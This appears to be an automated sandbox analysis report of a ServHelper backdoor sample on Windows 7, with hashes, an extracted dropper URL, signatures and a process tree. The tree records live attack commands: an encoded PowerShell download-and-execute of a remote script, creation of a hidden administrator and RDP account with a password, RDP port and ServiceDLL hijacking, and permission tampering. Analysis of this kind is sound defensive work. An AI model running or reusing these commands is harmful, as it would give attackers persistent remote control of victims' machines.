Analysis

  • max time kernel
    129s
  • max time network
    104s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    26-10-2021 14:49

General

  • Target

    63151e4f7c3972f18a23c0e9996e14ef.exe

  • Size

    5.7MB

  • MD5

    63151e4f7c3972f18a23c0e9996e14ef

  • SHA1

    5d041fde6433a8ff8fc78a69fca1fd4630e3f270

  • SHA256

    cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

  • SHA512

    f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
    "C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pjvv9knr.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77D0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC77CF.tmp"
          4⤵
            PID:1476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:944
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1476
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1276
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:612
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1676
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1492
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1644
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1128
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1984
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:924
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2036
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:904
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1680
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1400
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2040
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:560
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1700
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1172
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1740
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1320
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:592
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1776
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1700
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1604
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1364
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1184
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:612
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc so74PpAK /add
                                  1⤵
                                    PID:1480
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc so74PpAK /add
                                      2⤵
                                        PID:1220
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc so74PpAK /add
                                          3⤵
                                            PID:1644
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1848
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:2036
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1380
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1684
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:692
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1576
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1580
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1296
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1308
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc so74PpAK
                                                          1⤵
                                                            PID:1476
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc so74PpAK
                                                              2⤵
                                                                PID:548
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc so74PpAK
                                                                  3⤵
                                                                    PID:1128
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1064
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1688
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:560
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1680
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1060
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1400
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1580

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/756-59-0x0000000041137000-0x0000000041138000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/756-57-0x0000000041134000-0x0000000041136000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/756-56-0x0000000041132000-0x0000000041134000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/756-54-0x00000000415B0000-0x00000000419AF000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/756-58-0x0000000041136000-0x0000000041137000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/944-107-0x0000000002577000-0x0000000002578000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/944-108-0x000000001B8D0000-0x000000001BBCF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/944-106-0x0000000002574000-0x0000000002577000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/944-104-0x0000000002570000-0x0000000002572000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/944-105-0x0000000002572000-0x0000000002574000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/944-103-0x000007FEEAC80000-0x000007FEEB7DD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/944-109-0x000000000257C000-0x000000000259B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1012-84-0x00000000028E0000-0x00000000028E2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1012-85-0x00000000028E2000-0x00000000028E4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1012-82-0x000007FEEAC80000-0x000007FEEB7DD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1012-86-0x00000000028E4000-0x00000000028E7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1012-92-0x00000000028EC000-0x000000000290B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1012-87-0x00000000028E7000-0x00000000028E8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1012-83-0x000000001B8E0000-0x000000001BBDF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1164-94-0x0000000002780000-0x0000000002782000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-91-0x000007FEEAC80000-0x000007FEEB7DD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1164-98-0x0000000002787000-0x0000000002788000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1164-95-0x0000000002782000-0x0000000002784000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1164-96-0x000000000278C000-0x00000000027AB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1164-97-0x0000000002784000-0x0000000002787000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1500-77-0x0000000001FB0000-0x0000000001FB2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1580-156-0x00000000011C2000-0x00000000011C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1580-158-0x00000000011CB000-0x00000000011EA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1580-155-0x00000000011C0000-0x00000000011C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1580-154-0x000007FEEAC80000-0x000007FEEB7DD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1580-157-0x00000000011C4000-0x00000000011C7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1872-61-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1872-62-0x000007FEEAC80000-0x000007FEEB7DD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1872-64-0x00000000027B2000-0x00000000027B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1872-65-0x00000000027B4000-0x00000000027B7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1872-63-0x00000000027B0000-0x00000000027B2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1872-78-0x00000000027DD000-0x00000000027DE000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1872-76-0x00000000027BB000-0x00000000027DA000-memory.dmp

                                                                        Filesize

                                                                        124KB